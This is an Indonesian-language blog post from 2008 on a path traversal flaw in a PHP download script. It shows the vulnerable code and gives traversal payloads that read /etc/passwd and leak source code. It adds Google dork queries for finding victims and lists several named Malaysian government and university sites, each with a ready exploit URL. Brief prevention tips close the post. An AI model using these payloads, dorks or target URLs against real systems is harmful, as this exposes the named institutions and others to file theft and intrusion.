Saturday, October 4, 2008

PHP download script vulnerability

Oleh tomplixsee

Sebenarnya saya bingung mau memberi judul apa pada artikel ini. Maaf bila judulnya agak kurang pas dengan isi artikelnya

PHP adalah suatu bahasa pemrograman web yang cukup sakti yang kehandalannya tidak diragukan lagi. Tapi,adanya kesalahan dalam logika pemrograman php akan bisa berakibat fatal.

Salah satu contohnya adalah :

//download.php
header( "Content-Type: application/octet-stream" );
header( "Content-Length: " . filesize($_GET['file'] ) );
header( "Content-Disposition: inline; filename=\"$_GET[file]\"");
readfile($_GET['file'] );
?>

Kode php diatas memiliki kelemahan yang fatal, dimana variabel “file” sama sekali tidak difilter, sehingga hacker akan bisa mendownload file apapun yang ada di server tersebut. Misalkan saja sang hacker mengakses alamat http://korban/download.php?file=../../../../../../etc/passwd maka file /etc/passwd milik server akan dikirimkan ke hacker.

Atau jika hacker mengakses alamat http://korban/download.php?file=download.php maka hacker akan mendapatkan source code dari file download.php.

Sedangkan untuk mencari korban bisa kita gunakan google, misalkan dengan syntax inurl:”download.php?file=” , atau inurl:”download.php?file=*.pdf” -intext:”download.php?file=*.pdf” atau yang lainnya.

Beberapa contoh situs yang vulnerable adalah:

http://www.mpbp.gov.my/download.php?file=download.php

http://elearning.mmu.edu.my/download.php?file=download.php

http://www.utem.edu.my/fkp/latihanIndustri/download.php?file=../../../../../../etc/passwd

http://www.moe.gov.my/pipp/download.php?filename=/../../../../../../etc/passwd

Adapun sedikit hal untuk pencegahan adalah:

1. lakukan pemfilteran terhadap inputan yang diterima dari user.
Misalkan pemfilteran terhadap karakter “../”, “”, atau type file yang boleh didownload.

2. lakukan pembatasan file access
3. berikan batasan, file di folder mana saja yang boleh didownload atau tidak
4. untuk menghindari googling, hindari penamaan script dengan nama “download.php” dan nama variabel dengan nama “file”.

terimakasih

No comments:

Post a Comment